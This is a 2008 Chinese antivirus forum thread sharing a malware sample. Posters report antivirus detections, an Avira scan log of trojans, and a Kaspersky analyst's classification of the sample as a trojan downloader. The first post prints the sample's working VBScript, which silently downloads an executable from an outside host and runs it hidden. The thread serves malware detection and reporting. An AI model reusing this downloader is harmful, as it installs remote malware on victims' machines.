avast pass

显示全部楼层 · 发表于 2008-1-10 20:00:59

on error resume next
Function DownloadExecute(source, target)
on error resume next
Dim wobj, eobj, sobj, xobj, aobj, eloc, tfold, tfile, binstring, response, i
Set wobj = CreateObject("WScript.Shell")
Set sobj = CreateObject("Scripting.FileSystemObject")
If VarType(xobj) <> vbObject Then Set xobj = CreateObject("MSXML2.XMLHTTP")
If VarType(xobj) <> vbObject Then Set xobj = CreateObject("Microsoft.XMLHTTP")
If sobj.FileExists(eloc) = False Then
xobj.Open "GET", source, False
xobj.Send
response = xobj.ResponseBody
For i = 1 To LenB(response)
binstring = binstring & Chr(AscB(MidB(response, i, 1)))
Next
Set tfold = sobj.GetSpecialFolder(2)
Set tfile = tfold.CreateTextFile(target)
tfile.Write binstring
tfile.Close
End If
wobj.run tfold & Chr(92) & target, 0
End Function
Call DownloadExecute("http://adxrnet.net/xpre.exe", "xpre.exe")

复制代码

显示全部楼层 · 发表于 2008-1-10 20:33:40

微点拦截1个广告程序和多个未知木马

cmd ok

[ 本帖最后由 Nblock 于 2008-1-10 20:39 编辑 ]

显示全部楼层 · 发表于 2008-1-10 20:40:37

Starting the file scan:

Begin scan in 'E:\��.rar'
E:\��.rar
  [0] Archive type: RAR
  --> 17PHOLMES[1].CMT
   [DETECTION] Is the Trojan horse TR/Crypt.ULPM.Gen
  --> GEBAXYV.DLL
   [DETECTION] Is the Trojan horse TR/Vundo.DVK.2
  --> RASESNET.EXE
   [DETECTION] Is the Trojan horse TR/Vundo.DVK
  --> UGA6P_0001_N122M2210NETINSTALLER.EXE
   [DETECTION] Contains detection pattern of the SPR/Fake.Syscontrol program
  --> WINVSNET.EXE
   [DETECTION] Contains detection pattern of the SPR/Fake.Syscontrol program
  --> MROFINU572.EXE
   [DETECTION] Is the Trojan horse TR/Crypt.ULPM.Gen
   [WARNING] The file was ignored!

End of the scan: 2008年1月10日  20:38
Used time: 00:23 min

The scan has been done completely.

   0 Scanning directories
   17 Files were scanned
   6 viruses and/or unwanted programs were found
   0 Files were classified as suspicious:
   0 files were deleted
   0 files were repaired
   0 files were moved to quarantine
   0 files were renamed
   0 Files cannot be scanned
   11 Files not concerned
   1 Archives were scanned
   1 Warnings
   0 Notes

显示全部楼层 · 发表于 2008-1-10 20:46:29

要联网了

这两个是干嘛呢？

显示全部楼层 · 发表于 2008-1-10 21:57:23

Hello,

xpre.chmk - Trojan-Downloader.Win32.VB.cdq

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

Please quote all when answering.

--
Best regards, Vladimir Krylov
Virus analyst, Kaspersky Lab.
e-mail: newvirus@kaspersky.com
http://www.kaspersky.com/

http://www.kaspersky.com/virusscanner - free online virus scanner.
http://www.kaspersky.com/helpdesk.html - technical support.

> Attachment: xpre.rar

[病毒样本] avast pass

本帖子中包含更多资源

回复 12楼 Nblock 的帖子

本帖子中包含更多资源

浏览过的版块